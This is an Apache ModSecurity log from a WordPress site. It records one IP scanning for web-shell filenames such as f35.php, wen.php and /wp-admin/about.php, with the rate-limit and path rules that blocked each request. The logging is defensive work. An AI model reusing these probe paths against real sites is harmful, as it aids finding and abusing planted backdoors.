[Mon Feb 23 01:07:46.975648 2026] [:error] [pid 4806:tid 4829] [client 20.203.249.16:3341] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aZs34vFTHI_ud-cTYbTv6AAAARU"]
[Mon Feb 23 01:07:47.453449 2026] [:error] [pid 28558:tid 28563] [client 20.203.249.16:23256] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aZs34ydFHR5e1Gd10vd8iQAAAMM"]
[Mon Feb 23 01:07:48.951586 2026] [:error] [pid 4806:tid 4827] [client 20.203.249.16:17069] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aZs35PFTHI_ud-cTYbTv6gAAARM"]
[Mon Feb 23 01:07:49.423138 2026] [:error] [pid 28424:tid 28434] [client 20.203.249.16:21327] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aZs35QBAZT_BJOxE-Z4nOAAAAAY"]
[Mon Feb 23 01:07:50.901104 2026] [:error] [pid 28426:tid 28528] [client 20.203.249.16:23278] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aZs35mgbPVf4pO12NZnNTgAAAIY"]
[Mon Feb 23 01:07:51.371705 2026] [:error] [pid 28426:tid 28533] [client 20.203.249.16:16809] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aZs352gbPVf4pO12NZnNTwAAAIs"]
[Mon Feb 23 01:07:51.844563 2026] [:error] [pid 28558:tid 28567] [client 20.203.249.16:21714] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aZs35ydFHR5e1Gd10vd8jQAAAMc"]
[Mon Feb 23 01:07:52.315684 2026] [:error] [pid 28558:tid 28582] [client 20.203.249.16:25116] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aZs36CdFHR5e1Gd10vd8jgAAANY"]
[Mon Feb 23 01:07:52.788577 2026] [:error] [pid 28425:tid 28514] [client 20.203.249.16:21697] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aZs36DO7QIkwG1UqFGznDQAAAFU"]
[Mon Feb 23 01:07:53.261219 2026] [:error] [pid 28424:tid 28450] [client 20.203.249.16:26770] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aZs36QBAZT_BJOxE-Z4nQAAAABY"]
[Mon Feb 23 01:07:53.734131 2026] [:error] [pid 4806:tid 4829] [client 20.203.249.16:11743] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aZs36fFTHI_ud-cTYbTv9AAAARU"]
[Mon Feb 23 01:07:54.205641 2026] [:error] [pid 4806:tid 4827] [client 20.203.249.16:11726] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aZs36vFTHI_ud-cTYbTv9gAAARM"]
[Mon Feb 23 01:07:54.682624 2026] [:error] [pid 4806:tid 4816] [client 20.203.249.16:25053] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aZs36vFTHI_ud-cTYbTv-QAAAQg"]
[Mon Feb 23 01:08:02.186399 2026] [:error] [pid 28426:tid 28538] [client 20.203.249.16:20408] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aZs38mgbPVf4pO12NZnNWwAAAJA"]
[Mon Feb 23 01:08:02.656997 2026] [:error] [pid 28558:tid 28583] [client 20.203.249.16:18465] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aZs38idFHR5e1Gd10vd8nQAAANc"]
[Mon Feb 23 01:08:03.153545 2026] [:error] [pid 28558:tid 28573] [client 20.203.249.16:27323] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aZs38ydFHR5e1Gd10vd8oAAAAM0"]
[Mon Feb 23 01:08:03.627004 2026] [:error] [pid 28558:tid 28576] [client 20.203.249.16:28277] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aZs38ydFHR5e1Gd10vd8ogAAANA"]
[Mon Feb 23 01:08:04.099998 2026] [:error] [pid 28426:tid 28530] [client 20.203.249.16:21942] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aZs39GgbPVf4pO12NZnNYgAAAIg"]
[Mon Feb 23 01:08:07.590546 2026] [:error] [pid 28558:tid 28574] [client 20.203.249.16:1681] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZs39ydFHR5e1Gd10vd8rQAAAM4"]
[Mon Feb 23 01:08:08.064388 2026] [:error] [pid 28426:tid 28521] [client 20.203.249.16:1701] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZs3-GgbPVf4pO12NZnNbgAAAIA"]
[Mon Feb 23 01:08:15.573393 2026] [:error] [pid 28425:tid 28499] [client 20.203.249.16:24801] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZs3_zO7QIkwG1UqFGznLgAAAEY"]
[Mon Feb 23 01:08:16.045626 2026] [:error] [pid 28425:tid 28506] [client 20.203.249.16:3370] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZs4ADO7QIkwG1UqFGznLwAAAE0"]
[Mon Feb 23 01:08:16.517491 2026] [:error] [pid 28424:tid 28450] [client 20.203.249.16:3350] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aZs4AABAZT_BJOxE-Z4nYAAAABY"]
[Mon Feb 23 01:08:16.990099 2026] [:error] [pid 4806:tid 4829] [client 20.203.249.16:1680] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aZs4APFTHI_ud-cTYbTwDQAAARU"]
[Mon Feb 23 01:08:17.462851 2026] [:error] [pid 28558:tid 28577] [client 20.203.249.16:24474] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aZs4ASdFHR5e1Gd10vd8vwAAANE"]
[Mon Feb 23 01:08:17.935657 2026] [:error] [pid 4806:tid 4831] [client 20.203.249.16:21380] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aZs4AfFTHI_ud-cTYbTwEgAAARc"]
[Mon Feb 23 01:08:18.407881 2026] [:error] [pid 28558:tid 28583] [client 20.203.249.16:25070] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZs4AidFHR5e1Gd10vd8wQAAANc"]
[Mon Feb 23 01:08:18.883119 2026] [:error] [pid 28558:tid 28582] [client 20.203.249.16:28208] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZs4AidFHR5e1Gd10vd8wwAAANY"]
[Mon Feb 23 01:08:19.355124 2026] [:error] [pid 28425:tid 28514] [client 20.203.249.16:11729] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZs4AzO7QIkwG1UqFGznNAAAAFU"]
[Mon Feb 23 01:08:26.890910 2026] [:error] [pid 28424:tid 28445] [client 20.203.249.16:24460] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZs4CgBAZT_BJOxE-Z4ncwAAABE"]
[Mon Feb 23 01:08:27.363166 2026] [:error] [pid 4806:tid 4827] [client 20.203.249.16:24271] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aZs4C_FTHI_ud-cTYbTwJwAAARM"]
[Mon Feb 23 01:08:27.836140 2026] [:error] [pid 4806:tid 4828] [client 20.203.249.16:20851] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aZs4C_FTHI_ud-cTYbTwKQAAARQ"]
[Mon Feb 23 01:08:28.309709 2026] [:error] [pid 28426:tid 28538] [client 20.203.249.16:8737] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aZs4DGgbPVf4pO12NZnNigAAAJA"]
[Mon Feb 23 01:08:28.783314 2026] [:error] [pid 28426:tid 28541] [client 20.203.249.16:28161] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aZs4DGgbPVf4pO12NZnNiwAAAJM"]
[Mon Feb 23 01:08:29.257833 2026] [:error] [pid 4806:tid 4825] [client 20.203.249.16:15865] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs18.php"] [unique_id "aZs4DfFTHI_ud-cTYbTwLgAAARE"]
[Mon Feb 23 01:08:29.732380 2026] [:error] [pid 4806:tid 4823] [client 20.203.249.16:25289] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs18.php"] [unique_id "aZs4DfFTHI_ud-cTYbTwLwAAAQ8"]
[Mon Feb 23 01:08:30.205079 2026] [:error] [pid 4806:tid 4820] [client 20.203.249.16:22130] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs18.php"] [unique_id "aZs4DvFTHI_ud-cTYbTwMQAAAQw"]
[Mon Feb 23 01:08:30.677630 2026] [:error] [pid 28426:tid 28530] [client 20.203.249.16:23593] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs18.php"] [unique_id "aZs4DmgbPVf4pO12NZnNjwAAAIg"]
[Mon Feb 23 01:08:31.151308 2026] [:error] [pid 4806:tid 4825] [client 20.203.249.16:21416] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aZs4D_FTHI_ud-cTYbTwNwAAARE"]
[Mon Feb 23 01:08:31.623157 2026] [:error] [pid 4806:tid 4816] [client 20.203.249.16:3351] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aZs4D_FTHI_ud-cTYbTwOQAAAQg"]
[Mon Feb 23 01:08:55.874866 2026] [:error] [pid 28558:tid 28563] [client 20.203.249.16:24480] [client 20.203.249.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZs4JydFHR5e1Gd10vd9AAAAAMM"]
[Mon Feb 23 01:09:28.162766 2026] [:error] [pid 28426:tid 28522] [client 20.203.249.16:21415] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aZs4SGgbPVf4pO12NZnN8AAAAIE"]
[Mon Feb 23 01:09:28.642077 2026] [:error] [pid 28558:tid 28569] [client 20.203.249.16:25768] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aZs4SCdFHR5e1Gd10vd9NAAAAMk"]
[Mon Feb 23 01:09:29.114172 2026] [:error] [pid 4806:tid 4812] [client 20.203.249.16:25308] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aZs4SfFTHI_ud-cTYbTxYAAAAQQ"]
[Mon Feb 23 01:09:29.587050 2026] [:error] [pid 28425:tid 28500] [client 20.203.249.16:3240] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aZs4STO7QIkwG1UqFGznkAAAAEc"]
[Mon Feb 23 01:09:30.058893 2026] [:error] [pid 28424:tid 28430] [client 20.203.249.16:21024] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aZs4SgBAZT_BJOxE-Z4n2gAAAAI"]
[Mon Feb 23 01:09:30.532434 2026] [:error] [pid 4806:tid 4811] [client 20.203.249.16:19958] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aZs4SvFTHI_ud-cTYbTxYwAAAQM"]
[Mon Feb 23 01:09:31.006011 2026] [:error] [pid 4806:tid 4813] [client 20.203.249.16:22732] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aZs4S_FTHI_ud-cTYbTxZQAAAQU"]
[Mon Feb 23 01:09:31.478478 2026] [:error] [pid 4806:tid 4820] [client 20.203.249.16:21014] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aZs4S_FTHI_ud-cTYbTxaQAAAQw"]
[Mon Feb 23 01:09:31.950044 2026] [:error] [pid 28424:tid 28434] [client 20.203.249.16:24075] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aZs4SwBAZT_BJOxE-Z4n2wAAAAY"]
[Mon Feb 23 01:09:32.421631 2026] [:error] [pid 4806:tid 4824] [client 20.203.249.16:3244] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aZs4TPFTHI_ud-cTYbTxbwAAARA"]
[Mon Feb 23 01:09:39.924871 2026] [:error] [pid 28426:tid 28544] [client 20.203.249.16:29090] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aZs4U2gbPVf4pO12NZnN-wAAAJY"]
[Mon Feb 23 01:09:40.398339 2026] [:error] [pid 28424:tid 28431] [client 20.203.249.16:16846] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aZs4VABAZT_BJOxE-Z4n5wAAAAM"]
[Mon Feb 23 01:09:40.870531 2026] [:error] [pid 28425:tid 28494] [client 20.203.249.16:5034] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aZs4VDO7QIkwG1UqFGznogAAAEE"]
[Mon Feb 23 01:09:44.366506 2026] [:error] [pid 28425:tid 28515] [client 20.203.249.16:31265] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aZs4WDO7QIkwG1UqFGznqgAAAFY"]
[Mon Feb 23 01:09:44.837983 2026] [:error] [pid 28425:tid 28505] [client 20.203.249.16:1119] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aZs4WDO7QIkwG1UqFGznrAAAAEw"]
